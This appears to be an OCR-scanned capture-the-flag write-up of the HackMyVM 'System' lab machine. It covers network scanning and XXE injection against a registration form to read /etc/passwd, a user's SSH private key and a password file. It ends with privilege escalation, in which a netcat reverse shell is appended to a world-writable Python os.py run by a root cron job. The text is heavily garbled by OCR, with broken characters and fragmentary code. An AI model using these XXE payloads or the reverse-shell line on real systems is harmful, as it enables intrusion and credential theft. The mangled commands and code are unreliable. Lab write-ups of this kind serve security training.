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Reconnaissance

We start scanning the net using nmap

> nmap -sn 192.168.1.0/24

Starting Nmap 7.95 ( httos://nmap.org ) at 2025-03-31 14:47 CEST
Nmap scan report (192.168.1.1)

Host is up (0.0028s Latency).

MAC Address: E4:3E:D7:FF:70:55 (Arcadyan)

Nmap scan report for system.home (192.168.1.44)

Host is up (0.0083s latency).

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)

Nmap scan report fi e (192.168.1.50)
Host is up.

MAC Address: 9C:BC:F@:3A:BR5:FF (Xiaomi_ Communications)

Nmap scan report for | (192.168.1.126)

Host is up (0.017s latencyy.

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)

Nmap scan report for 192.168.1.18

Host is up.

Nmap scan report for archlinux.home (192.168.1.89)

Host is up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 2.02 seconds

Rapidly Nmap reports the victim IP, we confirm that due to the name system.home

Then, I run nmap again in order to know the ports and versions running in that IP:

> nmap -sSCV --min-rate=5000 -Pn -n -p- 192.168.1.44 -oN Nmap.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 14:48 CEST

Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 52.33% done; ETC: 14:49 (0:00:30 remaining
Warning: 192.168.1.44 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.1.44

Host is up (0.24s latency).

Not shown: 63622 closed tcp ports (reset), 1911 filtered tcp ports (no-response
PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.4p1 Debian 5 (protocol 2.0

| ssh-hostkey:

| 3072 27:71:24:58:d3:7¢c:b3:8a:7b:32:49:d1:¢c8:0b:4c:ba (RSA

| 256 €2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA

| 256 5d:78:¢5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519

80/tcp open http nginx 1.18.0

|_http-title: HackMyVM Panel

| http-server-header: nginx/1.18.0

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate

Service Info: OS: Linux; CPE: cpe:/o:linux:linux _kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 93.40 seconds

Nmap reported the ports 22 and 80 so I start with the web:
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We get this web:

@ O A NotSecure 192.168.1.44 8 v A : B

ing D eJPT OIA Oricing 3 Language Programs | (3 Correo and accounts [3 Social Media (3 English [0 Nube

HackMyVM Panel

Password

Register

Whatever you put in the email box, the respond will be that user is already register:
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O & NotSecure 192.168.1.44 s < ¥ 0O

Flameshot Inf

DIA Oricing [JLlanguage Programs | [3J Correo and accounts [3 Social ' PREFRAEMPY AR

Flameshot Wa
grim's screensk
wilroots, it may

environments

HackMyVM Panel

Email

jdadsdsadsa

Password

Register

jdadsdsadsa is already registered!

Watching the code, I realize it's using XML so I use Burp to identify the petition:




>HackMyVM Panel</

ascript

vascript™ src

class="title">< >HackMyVM Panel</
class="the-form">
mail">Email</ >
ail" name="email" type="email" placeholder r your
ord">Passwords</ >
rd" name ord” " nlarshnlder="Enter
submit” value="Register"” onclick="xM iction|

Explotation
I firstly check if we are struggle with a XXE

Request Response

Pretty Raw Hex Pretty =T Hex Render

1| POST /magic.php HTTP/1.1 HTTP/1.1 20@ OK

7| Host: 192 1.44 Server: 1.18.0

3| User-Agent: Mozilla Linux x86 : :136.0) Gecko/201901@1 Firefox/136.0@ Date: Mon, 31 Mar 2025 81 GMT

4 Accept: */* Content-Type: text/html; charset=UTF-2
5| Accept-Language: : Connection: keep-ali

6| Accept-Encoding: Content-Length: 89

7 | Content-Type: text/plain;

& | Content-Length: 159 <p align='center's>
o 0rigin: http://192.168.1.44 <font _coln ite sizes'Snt'>
@ Sec-GPC: 1 hnla is already ragisterad
1 i </font>

2 |Referer: /19 6

3 DNT: 1 </p>

4 | Priority: u

2
6
7
3

<?xml version="1.0" encoding="UTF
<IDOCTYPE T [ <!ENTITY us :
<details>
<email>
&user;
f/email>
<password>
das' or 1=1
</password>
</details>

Pretty  Raw  Hex Pretty  Raw  Hex  Render
POST /magic.php HTTP/1.1 HTTP/1.1 200 OK
Host: 192.168.1.44 Server nx/1.18.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Date: Mon, 31 Mar 2025 12:55:40 GMT
Accept: */* Content-Type: text/htnl; charset=UTF-8
Accept-Language: en-US,en;q Connection: k
Accept-Encoding: g deflate Content-Length
Content-Type: text/plain;charse
Content-Length: 17, <p align
origin: http://192.168.1.44 font-color-white size—"5pt
Toot:x:0:0:ro0t: /To0t: /bin/bash
daemon: x:1:1:daemon: /usT/sbin: /usT/shin/nologin
bin:x:2:2:bin; /bin:/usr/shin/nalogin
sys:x:3:3:sys: fdev: /usr/shin/nologin
sync:x:4:65534:sync;: /bin: /bin/sync
games:x:5:60: games : /usr/games: /usT/shin/nologin
<2xml version: *_encoding="1 man:x:6:12:man: fvar/cache/man: /usz/shin/nologin
<IDOCTYPE foo [ <!ENTITY STEW "file:///e idl"> 1p:x:7:7:1p: /var/spool/lpd: /usx/shin/nologin
<detailss mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<email> news :x:9:9:news: /var/spool/news: /ust/shin/nologin
&xxel uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
</email> proxy:x:13:13:proxy:/bin: /usr/shin/nologin
<password> www-data:x:33:33:uww-data: /var/waw: /usr/shin/nologin
das’ or 1-1 -- - backup: x:34:34:backup: /var/backups: /usr/shin/nologin
</password> list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin
</details> iTc:x:39:39:ircd:/Tun/ircd: /usr/sbin/nologin
gnatsixi41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534: nobody : /nonexistent : /usr/sbin/nologin
_apt:x:180:65534: : /nonexistent: /usT/sbin/nologin
systemd-timesync:x:101:101:systend Time Synchronization,,,:/run/systemd:/usr/sbin/nolog
systemd-network:x:102:183:systend Network Management,,,:/Tun/systend:/usr/shin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus :x:104:110: : fnonexistent: /usr/shin/nologin
avahi-autoipdix:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usz/shin/nologin
sshd:x:106:65534: : /Tun/sshd: /usx/shin/nologin
systemd-coredump:x 999:systemd Core Dumper:/:/usr/sbin/nologin
david: 2:1000:1000: : /home/david: /bin/bash
15 already registered

® O AW

Since david exists as a user, we can check if a idrsa key exists in the ./ssh_ directory:
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POST /magic.php HTTP/1.1
Host: 192.168.1.44
User-Agent: Mozilla/5.0 (X11; Linux x86_64; T
Accept: */*
Accept-Language: en-
Accept-Encoding: g
Content-Type: text/plain;charset=UTF-&
Content-Length: 130
Origin: http://192.168.1.44 <TONT CoToT=wirl te s ize="5pT
Sec-GPC: 1 BEGIN OPENSSH PRIVATE KE'
Connection; b381bnNzaC1rZXktd jEAAAAABGSVbMUAAAAEDMIUZQAAAARAAAABARABIWAAAAZE2gtCn
Referer NhARAAAWEAAQAAAYEAADS11vZkg FHUXXIbWE+Vx162hxpDcBHbTNKAYhnCTLM4/pBCmOK;
DNT: 1 pWMRke3wngFUOXRYDJbOUFTLGYY1BET2BVCGEKb21TaTcdWTO0 JS6ggCEF tqmoeduG1Dd
Priority: u-0 6tPTbNpmkoD3hVkj zF: +1U2P JdUP6135nT45KA6EpHFOLTg4XvhTspwd5ZyriivwDU
yJyHgddwnT7gFVg/svx5x+i1ah8]iD60PI5eQCN1q87950X7GMNXg5 fquos3Cyjqislii;
WdgOTEN8 cowAgJeMkqTH/ f7JqSRDZQ4VXNItLGS /0 /nMmxoLnov fWTeTCORVTZKGUVONZA
TLBXVFVtDF1guvyNc61DYaDhaC7mi665hgNpGNR s ukQPasi4 JnDbKOOhHko2ChOPUddH
XTGVIit+8d/9zmiV0dbbSUVe04s99KN/H2HQER tUCTUL2HCZMADCm 7w Y QKM +HEXB1K
il> my3T5eazYhNKkKYRFpSTnS0CXTT Jo JkpeXz2eMK1AAAF10amBhjmpgY YARAABINZAC 1y C2
axxe; EAAAGBAOKUPYT2ZTHX718fW1hP1cZRtoc2Q3AR205ygM0ZwiC5UPEQX J]106VIEZHES JoB
</email> VNMUBWAYW/ bhUyx TWNQRCHwbwhhCm84k2g3HVK / fSb0o THBBbaptHUL hpQ-+01T8222ZpPQ
<password> 94WJT8xeeZmhPpVN]yXVD+pd+Zy00SnehKTHIC640F745L1600Wb6zb8A 1M chatxc 110
das’ or 1=1 -- - 4BVYP7L8ecfoomodT4g+tDy0XkAPSav0/bDsexjDCYOXETGLNWTAE0v JY001nYPax JVHKM
</password> ATCX] JKkx/3+yakkQ8@0L12ZbS6VP6PS52 JsaC56L31k31AvUb+27B119DEWCCWEVX1bQxd
</details> YL18jX0pQ2Gg4WguSouuuYYDaRpobT7pED /EouCZu2ytDoRSKNNgmz] HXR10x 1S Tr fuHF
/c55FdHW201FXj uLPfZD1theom7VHEJdjAqzAA3 JU4MGEC1q1pvh/MQZSps ty0Xms2TT
SpCMERaUKS+Tgsa6yaCZKX189n]CtQAAAANBAAEAAAGBA IgOSNEYR ]  JqokwvhwZHgDXoR
€TePxK0Zb16D1QfQCTGHVDO T /HIySTht4yanymO9DeYwyZXjugndu/Ac2BUTKNTZGBNGY
aDRpeDodPhZrIpligKzBXpXVEiS ge1B3fOV22PCIphliivKSijokt2a/zWt101SYKIVCHhN
QXYIXXZ+CBSTQb6G50a/4PEZpiSYMLMy  TBASTDIK JCAX/7RX1yqQuOB1kpoIATGYATZ8a
W120AZqTTbNsktKBaQ5yR3TZFSUGYA/UNC3he8Yuo94dRRDVNT]fBGygS3HUHgZBUBE YW
hrG1JTYiegztg8KV1Qd1NCT2q6UTWETOPSNHCY G099t TPT/ TFVWI+B7FFwuKvhZe 1kDK8
NGU/xGKIoIL3hobDKCjAGVGAMDkKSeASohS tcTtwzks5CTxgSOFpX]g)aQ4RHSY fxpfaD
Cryyas4wAGknoyejyCivINyoldSVPOOZN/y1Wk3m1dWoGAVWXEZANACYUOly SNUUATWQAA
AMAL2ZYbWOPATwo+Mdj ThzdSYa18RTGEPO1CBAY9 JNdziccmT7bAOQUABUFdeMNMVCWE1C
YU/4958pZRIKBNSpHOtU4@WZNMINIESTE3EKewqHRA9 J1@GUdakXMKhhhzhS1PCASZ8LT
Mt1YET3xBbo/poB TdD3PTIS0BVGL+1HXSWBbd1t19Gq1 fPUhTEGAG JWBOTALB1eXT JF4L
N1/50x0tevheWsQ2zYo0GyjRmBBKORKSVFM1GYS5XOPITTATYARADBAPYZN18X1chTLS1iE
TWel/T0p78A5Td11019KWHQUZKXGN3+NTtwSy20N/LDNTURCYSOABU2AIHD/SCRAVBHIGP
VHoWZP3r50yAwaN1nMeL 1UqjQV3IR36Xmi1z0MufRrxd JMyufGSwgY FQtEenNTKLTATOPO
SOEKOTXN18F99t/pNMSUtoEHDammOWd TkM4TC75+OVHOMATPUFMSY ] xRZ054q9D1Raxa
YGIvtnS2cqba2zV+hf+f6v2UfNTk1UUQAAAMEAGT IDFAYdw2CFENIE1G ) 1oHd Jk2K7gT2U
XfjoCRcNpox9kiaaiynghXAGQHt7F@OUZEKVUTFSCVDKT10FgnXD2e 2QeVRUZMZ2UA+RIQ
LgMcY6zaE7uCYgIANM5Neduc6FOmxNpmy3 fLI720RO1D/ g5h2pwahc T1XAJpZgzkK nl
1A9Vth@+9811163/+YAEaWCE JAHNTWGUGSKq1/OFKYXDhxewIKBnhT +yHOGESTVLUNXdWQ
46q72TDpVMMKM1AAAADNRhdN1KQGZYZWUBYWXSAQTDBA==
is already registered
</font>

HTTP/1.1 200 OK
Server: nginx/1.18.0
136.0) Gecko/20100101 Firefox/136.0 Date: Mon, 31 Mar 2025 12:58:13 GHT
Content-Type: text/html; charset=UTF-8
Connection: keep
Content-Length: 26

<p align: er'>

<7xml version="1.@" encodina="
<IDOCTYPE foo [ <!ENTITY xxi

We got it! lets try:

> ssh -11d _rsa david@192.168.1.44

david@192.168.1.44's password:

Permission denied, please try again.

david@192.168.1.44's password:

Permission denied, please try again.

david@192.168.1.44's password:

david@192.168.1.44: Permission denied (publickey,password).

Unfortunately, I couldn't, that's why the authorized keys

file is empty so we can't login until the
id rsa.pub's content is in there.

Content-Type:
Content-Length: 199
Origin: http://192.168.1.44 St
Sec-GPC: 1 is already registered
Connection: k </font>
Referer: http://19 i /

1

Priority: u=0

n;charset=UTF-8

<?xml version="1.8" encoding=
<!DOCTYPE foo [ <!ENTITY
<details>
<email>
&xxe;
</email>
<password>
das’ or 1=1 -- -
</password>
</details>

/f'home/david/.ssh/authorized

So, as we can list files by using XXE anywa

, | try to brute force de home directory to get something
else using ffuf

> ffuf -w /usr/share/wordlists/seclists/Discovery/ Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -d '<?

xml version="1.0" encoding="UTF-8"?> <IDOCTYPE foo [ <![ENTITY xxe SYSTEM "file:///home/david/FUZZ">
]> <details><email>&xxe;</email><password>das</password></details>' --fw 11

Y
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:: Method : POST

:: URL : http://192.168.1.44/magic.php

:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits. txt

:: Data : <?xml version="1.0" encoding="UTF-8"?> <IDOCTYPE foo | <IENTITY xxe SYSTEM
"file:///home/david/FUZZ"> |> <details><email>&xxe;</email><password>das</password></details>

:: Follow redirects : false

:: Calibration  : false

:: Timeout : 10

:: Threads : 40

:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

:: Filter : Response words: 11

.profile Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 15ms
.ssh/id_rsa Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 54ms
.ssh/id_rsa.pub Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 44ms
.viminfo Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 100ms

:: Progress: [2565/2565] :: Job [1/1] :: 595 reg/sec :: Duration: [0:00:03] :: Errors: O ::

ffuf reports a .viminfo file, this one can be interesting.

Pretty Raw Hex \ Pretty Raw Hex Render

POST /magic.php HTTP/1.1 HTTP/1.1 200 OK

Host: 192.168.1.44 Server: nginx/1.18.0

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:136.8) Gecko/20100101 Firefox/136.0 Date: Mon, 31 Mar 2025 13:38

Accept: */* Content-Type: t

Accept-Language: en-US, 0.5 Connection: keej

Accept-Encoding: gzip, te, br Content-Length: 7.

Content-Type: text/plain;charset=UTF-8

Content-Length: 187 <p align="center'>

Origin: http://192.168.1.44 <font color=white size='5pt'>
Sec-GPC: 1 # This viminfo file was generated by Vim 8.2
Connection; e # You may edit it if you're careful!

# Viminfo version
Priority: u-e 1,4

<7xml version="1.0" encoding=" > # Value of ‘encoding’ when this file was written
<!DOCTYPE foo [ <!'ENTITY xxe " e:///home/david/ .viminfo"> *encoding=utf-8

# hlsearch on (H) or off (h)
~h
<password> # Command Line History (newest to oldest)
das® or 1=1 -- - wq !
</password> 2,0,1648909714, , "wq!"
</details>

# Search String History (newest to oldest)
# Expression History (newest to oldest)

# Input Line History (newest to oldest)

# Debug Line History (newest to oldest)

# Registers

# Password fila Craatad
@ 1 3 /usr/localfetc/mypass.txt

4,48,1,3, 1046909714, "7 USL/10CAL7 €LCFNYpass . tXt"
# History of marks within files (newest to oldest):

> fusr/local/etc/mypass.txt

*1648909713 @

"13

~1l 4

13

+13

is already registered!
</font>

Reading this file we apparently got a password file so lets check that file:




Request Response
Pretty Raw Hex = W Pretty % Hex Render
1| POST /magic.php HTTP/1.1 1 HTTP/1.1 208 OK
2 Host: 192.168.1.44 2| Server: nginx/1.18.9
3| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 3 Date: Mon, 31 Mar 2825 13:38:41 GMT
4| Accept: */% 4| Content-Type: t/html; charset=UTF-3
5 Accept-language: s 5 5| Connection: ke ve
& Accept-Encoding: e, b 6| Content-Length: 9
7 Content-Type: tex
& Content-Length:
o Origin: http:/ >
1@ Sec-GPC: 1 hdck3rddvic is already registered!
11 Connection: ke </font>
12| Referer: ht
13 DNT: 1 </p>
14| Priority: u=0

<?xml version="1 0" enc
<IDOCTYPE foo
<details>
kenail>

We got a password, lets try using it in order to login as david via ssh

> ssh david@192.168.1.44
david@192.168.1.44's password:
Linux system 5.10.0-13-amd64

The programs included with the Debian GNU/Linux system are free software
the exact distribution terms for each program are described in the

individual files in /ust/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 2 12:42:26 2022 from 192.168.1.5

david@system:~$

Correct, now I'm david

Privilage Escalation

Listing directories I see suid.py

david@system:/opt$ 1s

suid.py

david@system:/opt$ cat suid.py
from os import system

from pathlib import Path

try:
with open('/home/david/cmd.txt', 't') as f:

read only first line = f.readline

with open('/tmp/suid.txt', 'w') as f:

f.write(f" {read_only first line}"
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check = Path('/tmp/suid.txt'
if check:
print("File exists"
try:
os.system("chmod u+s /bin/bash"
except NameError:
print("Done"
else:
print("File not exists"
except FileNotFoundError:

Apparently what this program does is give SUID permission if emd.txt exists in the david's home
directory and it has content. But it is not as easy as this. We can't run this program because its
permissions, we can't try a python library hijacking because of directory permissions either.

Is -1 suid.py
-rw-r--1-- 1 root root 563 Apr 2 2022 suid.py

Let's try pspy to see if root or someone else may execute this program:

--2025-03-31 10:04:07-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

Resolving github.com (github.com)... 140.82.121.3

Connecting to github.com (github.com)|140.82.121.3|:443... connected.

HTTP request sent, awaiting response... 302 Found

Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/860f70be-0564-
48f5-a9da-d1¢32505ffb0?7X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-
Credential=releaseassetproduction%2F20250331%?2Fus-east-1%2Fs3%2Faws4 request&X-Amz-
Date=20250331T140407Z&X-Amz-Expires=300&X-Amz-
Signature=def16ea30de20b2eb6029a61361a2{69273034{f354b263b40226e0a466a281b&X-Amz-
SignedHeaders=host&response-content-disposition=attachment%3B%?20filename%3Dpspy64&response-content-
type=application%2Foctet-stream [following

--2025-03-31 10:04:07-- https://objects.githubusercontent.com/github-production-release-asset-
2e65be/120821432/860f70be-0564-48f5-a9da-d1¢32505{fb0?X-Amz-Algorithm=AWS4-HMAC-SHA256 & X-Amz-
Credential=releaseassetproduction%2F20250331%?2Fus-east-1%2Fs3%2Faws4 request&X-Amz-
Date=20250331T140407Z&X-Amz-Expires=300&X-Amz-
Signature=def16ea30de20b2eb6029a6{361a2{69273034{f354b263b40226¢0a466a281b&X-Amz-
SignedHeaders=host&response-content-disposition=attachment%3B%?20filename%3Dpspy64 &response-content-
type=application%?2Foctet-stream

Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.108.133,
185.199.109.133,

Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK

Length: 3104768 (3.0M) [application/octet-stream

Saving to: ‘pspy64’

pspy64 0%
pspy64 100%




>] 2.96M --.-KB/s in 0.06s

2025-03-31 10:04:08 (45.9 MB/s) - ‘pspy64’ saved [3104768/3104768

Yes, a cron task is executing it:

2025/03/31 10:12:17 CMD: PID=3407 |

2025/03/31 10:13:01 CMD: PID=3409 | /ust/sbin/CRON -f

2025/03/31 10:13:01 CMD: PID=3410 | /usr/sbin/CRON -f

2025/03/31 10:13:01 CMD: PID=3411 |/bin/sh -c /usr/bin/python3.9 /opt/suid.py

Now let's check the sys path:

david@system:/opt$ python3 -c 'import sys; print(sys.path)'
" 'fust/lib/python39.zip', 'fust/lib/python3.9', 'fust/lib/python3.9/1lib-dynload', '/usr/local/lib/python3.9/dist-packages',
'fust/lib/python3/dist-packages'

We can check if os or pathlib has writable permissions:

david@system:/opt$ Is /usr/lib/python3.9 -1 | grep os
-tw-rw-rw- 1 root root 39063 Apr 2 2022 os.py
-rw-r--1-- 1 root root 21780 Feb 28 2021 osx_support.py
-rw-r--1-- 1 root root 15627 Feb 28 2021 posixpath.py

os has writable permissions!. So now I write this in the end of the file:

import subprocess

def esc
subprocess.run(["nc","-e""/bin/bash","192.168.1.89","4444"

While I wait for the cron task to execute, I execute netecat on the indicate port and I got the connection

U 1210 : P 44
2025/04/01 02:21:01 CMD: PID=74
2025/04/01 02:21:08 CMD: PID=746 | bash

> nc -nlvp 4444

Connection from 192.168.1.44:49832

1d

uid=0(root) gid=0(root) groups=0(root)
Cdl /IrooL/TooL. LxtL
3aa26937ecfccb6T2bad66c14c89b92c4
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